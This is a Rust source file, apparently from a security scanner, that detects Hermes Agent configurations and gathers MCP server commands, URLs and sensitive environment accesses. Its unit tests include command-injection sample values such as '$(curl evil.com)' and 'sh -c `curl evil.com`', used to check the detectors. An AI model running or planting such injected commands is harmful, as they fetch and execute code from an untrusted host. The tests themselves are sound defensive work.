Skip to main content

agentshield/adapter/hermes/
mod.rs

1//! Hermes Agent adapter.
2//!
3//! Detects Hermes Agent client configuration and skill trees, then loads:
4//! - `config.yaml` / `.hermes/config.yaml` / profile configs with `mcp_servers`
5//! - `.hermes.md` project context
6//! - `skills/`, `optional-skills/`, and `optional-mcps/` artifacts
7
8pub(crate) mod config;
9pub(crate) mod discovery;
10
11use std::path::{Path, PathBuf};
12
13use crate::analysis::cross_file::apply_cross_file_sanitization;
14use crate::config::ScanPathFilter;
15use crate::error::Result;
16use crate::ir::execution_surface::ExecutionSurface;
17use crate::ir::taint_builder::build_data_surface;
18use crate::ir::tool_surface::ToolSurface;
19use crate::ir::*;
20use crate::parser;
21
22use config::{
23    has_hermes_skill_tree, has_optional_mcp_catalog, has_profile_config, looks_like_hermes_config,
24    parse_mcp_servers_from_yaml,
25};
26use discovery::{collect_hermes_source_files, is_yaml_file};
27
28/// Hermes Agent client adapter.
29///
30/// Detection intentionally requires Hermes-specific artifacts. Generic context
31/// files such as `AGENTS.md` and `CLAUDE.md` are not enough to avoid treating
32/// ordinary coding-agent projects as Hermes projects.
33pub struct HermesAgentAdapter;
34
35impl super::Adapter for HermesAgentAdapter {
36    fn framework(&self) -> Framework {
37        Framework::HermesAgent
38    }
39
40    fn detect(&self, root: &Path) -> bool {
41        let has_other_hermes_artifact = root.join(".hermes.md").exists()
42            || has_profile_config(root)
43            || has_hermes_skill_tree(root)
44            || has_optional_mcp_catalog(root);
45
46        // `.hermes/config.yaml` is a Hermes-specific path, so `model:` alone
47        // is trusted there. A bare top-level `config.yaml` is generic enough
48        // (ML/CI configs use `model:` too) that `model:` only counts when
49        // paired with another Hermes artifact already found above.
50        has_other_hermes_artifact
51            || looks_like_hermes_config(&root.join("config.yaml"), has_other_hermes_artifact)
52            || looks_like_hermes_config(&root.join(".hermes").join("config.yaml"), true)
53    }
54
55    fn load(&self, root: &Path, ignore_tests: bool) -> Result<Vec<ScanTarget>> {
56        let filter = ScanPathFilter::for_ignore_tests(ignore_tests);
57        self.load_with_filter(root, &filter)
58    }
59
60    fn load_with_filter(&self, root: &Path, filter: &ScanPathFilter) -> Result<Vec<ScanTarget>> {
61        let name = root
62            .file_name()
63            .map(|n| n.to_string_lossy().to_string())
64            .unwrap_or_else(|| "hermes-agent".into());
65
66        let mut tools: Vec<ToolSurface> = Vec::new();
67        let mut execution = ExecutionSurface::default();
68        let mut source_files: Vec<SourceFile> = Vec::new();
69
70        collect_hermes_source_files(root, filter, &mut source_files)?;
71
72        for sf in &source_files {
73            if is_yaml_file(&sf.path) {
74                parse_mcp_servers_from_yaml(&sf.content, &sf.path, &mut tools, &mut execution);
75            }
76        }
77
78        let mut parsed_files: Vec<(PathBuf, parser::ParsedFile)> = Vec::new();
79        for sf in &source_files {
80            if let Some(parser) = parser::parser_for_language(sf.language) {
81                if let Ok(parsed) = parser.parse_file(&sf.path, &sf.content) {
82                    parsed_files.push((sf.path.clone(), parsed));
83                }
84            }
85        }
86
87        apply_cross_file_sanitization(&mut parsed_files);
88
89        for (_, parsed) in parsed_files {
90            execution.commands.extend(parsed.commands);
91            execution.file_operations.extend(parsed.file_operations);
92            execution
93                .network_operations
94                .extend(parsed.network_operations);
95            execution.env_accesses.extend(parsed.env_accesses);
96            execution.dynamic_exec.extend(parsed.dynamic_exec);
97        }
98
99        let dependencies = super::mcp::parse_dependencies(root, filter);
100        let provenance = super::mcp::parse_provenance(root, filter);
101        let data = build_data_surface(&tools, &execution);
102
103        Ok(vec![ScanTarget {
104            name,
105            framework: Framework::HermesAgent,
106            root_path: root.to_path_buf(),
107            tools,
108            execution,
109            data,
110            dependencies,
111            provenance,
112            source_files,
113        }])
114    }
115}
116
117#[cfg(test)]
118mod tests {
119    use super::*;
120    use crate::adapter::Adapter;
121    use config::classify_config_value;
122
123    fn fixture_dir() -> PathBuf {
124        PathBuf::from(env!("CARGO_MANIFEST_DIR")).join("tests/fixtures/hermes_agent")
125    }
126
127    #[test]
128    fn test_detect_hermes_agent() {
129        let adapter = HermesAgentAdapter;
130        assert!(adapter.detect(&fixture_dir()));
131    }
132
133    #[test]
134    fn test_detect_non_hermes_project() {
135        let adapter = HermesAgentAdapter;
136        let dir = PathBuf::from(env!("CARGO_MANIFEST_DIR"))
137            .join("tests/fixtures/mcp_servers/safe_calculator");
138        assert!(!adapter.detect(&dir));
139    }
140
141    #[test]
142    fn test_bare_model_key_alone_does_not_detect_hermes() {
143        let temp = tempfile::tempdir().unwrap();
144        std::fs::write(temp.path().join("config.yaml"), "model: gpt-4\n").unwrap();
145
146        let adapter = HermesAgentAdapter;
147        assert!(
148            !adapter.detect(temp.path()),
149            "a generic config.yaml with only `model:` should not be detected as Hermes"
150        );
151    }
152
153    #[test]
154    fn test_model_key_under_hermes_dir_detects_hermes() {
155        let temp = tempfile::tempdir().unwrap();
156        std::fs::create_dir_all(temp.path().join(".hermes")).unwrap();
157        std::fs::write(
158            temp.path().join(".hermes").join("config.yaml"),
159            "model: gpt-4\n",
160        )
161        .unwrap();
162
163        let adapter = HermesAgentAdapter;
164        assert!(
165            adapter.detect(temp.path()),
166            ".hermes/config.yaml with `model:` should be detected as Hermes"
167        );
168    }
169
170    #[test]
171    fn test_mcp_servers_key_detects_hermes() {
172        let temp = tempfile::tempdir().unwrap();
173        std::fs::write(
174            temp.path().join("config.yaml"),
175            "mcp_servers:\n  svc:\n    command: npx\n",
176        )
177        .unwrap();
178
179        let adapter = HermesAgentAdapter;
180        assert!(
181            adapter.detect(temp.path()),
182            "a config.yaml with `mcp_servers:` should be detected as Hermes"
183        );
184    }
185
186    #[test]
187    fn test_load_hermes_framework() {
188        let adapter = HermesAgentAdapter;
189        let targets = adapter.load(&fixture_dir(), false).unwrap();
190        assert_eq!(targets.len(), 1);
191        assert_eq!(targets[0].framework, Framework::HermesAgent);
192    }
193
194    #[test]
195    fn test_load_hermes_mcp_servers() {
196        let adapter = HermesAgentAdapter;
197        let targets = adapter.load(&fixture_dir(), false).unwrap();
198        let target = &targets[0];
199
200        let tool_names: Vec<&str> = target.tools.iter().map(|tool| tool.name.as_str()).collect();
201        assert!(tool_names.contains(&"filesystem"));
202        assert!(tool_names.contains(&"company_api"));
203        assert!(!tool_names.contains(&"legacy"));
204
205        assert!(
206            target
207                .execution
208                .commands
209                .iter()
210                .any(|command| command.function == "npx")
211        );
212        assert!(target
213            .execution
214            .network_operations
215            .iter()
216            .any(|network| matches!(&network.url_arg, ArgumentSource::Literal(url) if url == "https://mcp.internal.example.com")));
217    }
218
219    #[test]
220    fn test_load_hermes_sensitive_env_and_headers() {
221        let adapter = HermesAgentAdapter;
222        let targets = adapter.load(&fixture_dir(), false).unwrap();
223        let target = &targets[0];
224
225        assert!(target.execution.env_accesses.iter().any(|env| {
226            env.is_sensitive
227                && matches!(&env.var_name, ArgumentSource::Literal(name) if name == "GITHUB_PERSONAL_ACCESS_TOKEN")
228        }));
229        assert!(target.execution.env_accesses.iter().any(|env| {
230            env.is_sensitive
231                && matches!(&env.var_name, ArgumentSource::Literal(name) if name == "header:Authorization")
232        }));
233    }
234
235    #[test]
236    fn test_classify_config_value_plain_literal() {
237        assert_eq!(
238            classify_config_value("https://api.example.com"),
239            ArgumentSource::Literal("https://api.example.com".into())
240        );
241        assert_eq!(
242            classify_config_value("npx -y @modelcontextprotocol/server-filesystem"),
243            ArgumentSource::Literal("npx -y @modelcontextprotocol/server-filesystem".into())
244        );
245    }
246
247    #[test]
248    fn test_classify_config_value_detects_interpolation() {
249        for value in [
250            "${MCP_URL}",
251            "$MCP_URL",
252            "$(curl evil.com)",
253            "{{base_url}}/api",
254            "sh -c `curl evil.com`",
255        ] {
256            assert_eq!(
257                classify_config_value(value),
258                ArgumentSource::Interpolated,
259                "{value} should be classified as Interpolated"
260            );
261        }
262    }
263
264    #[test]
265    fn test_parse_quoted_server_name_and_bracket_args() {
266        let content =
267            "mcp_servers:\n  \"custom_tool\":\n    command: grep\n    args: [\"-e\", \"[0-9]\"]\n";
268        let temp = tempfile::tempdir().unwrap();
269        std::fs::write(temp.path().join("config.yaml"), content).unwrap();
270
271        let adapter = HermesAgentAdapter;
272        let targets = adapter.load(temp.path(), false).unwrap();
273        let target = &targets[0];
274        assert_eq!(target.tools[0].name, "custom_tool");
275        assert_eq!(target.execution.commands[0].function, "grep");
276        assert!(matches!(
277            &target.execution.commands[0].command_arg,
278            ArgumentSource::Literal(cmd) if cmd == "grep -e [0-9]"
279        ));
280    }
281
282    fn run_rule_on_hermes_config(rule_id: &str, content: &str) -> Vec<crate::rules::Finding> {
283        let temp = tempfile::tempdir().unwrap();
284        std::fs::write(temp.path().join("config.yaml"), content).unwrap();
285
286        let adapter = HermesAgentAdapter;
287        let targets = adapter.load(temp.path(), false).unwrap();
288        crate::rules::builtin::all_detectors()
289            .into_iter()
290            .find(|d| d.metadata().id == rule_id)
291            .unwrap_or_else(|| panic!("no detector registered for {rule_id}"))
292            .run(&targets[0])
293    }
294
295    #[test]
296    fn test_literal_url_does_not_trigger_ssrf() {
297        let content = "mcp_servers:\n  svc:\n    url: https://api.example.com\n";
298        let findings = run_rule_on_hermes_config("SHIELD-003", content);
299        assert!(
300            findings.is_empty(),
301            "a plain literal URL should not trigger SHIELD-003, got {findings:?}"
302        );
303    }
304
305    #[test]
306    fn test_interpolated_url_triggers_ssrf() {
307        let content = "mcp_servers:\n  svc:\n    url: \"{{base_url}}/api\"\n";
308        let findings = run_rule_on_hermes_config("SHIELD-003", content);
309        assert!(
310            !findings.is_empty(),
311            "an interpolated URL should trigger SHIELD-003"
312        );
313    }
314
315    #[test]
316    fn test_interpolated_command_arg_triggers_command_injection() {
317        let content =
318            "mcp_servers:\n  svc:\n    command: sh\n    args: [\"-c\", \"${USER_CMD}\"]\n";
319        let findings = run_rule_on_hermes_config("SHIELD-001", content);
320        assert!(
321            !findings.is_empty(),
322            "an interpolated command arg should trigger SHIELD-001"
323        );
324    }
325}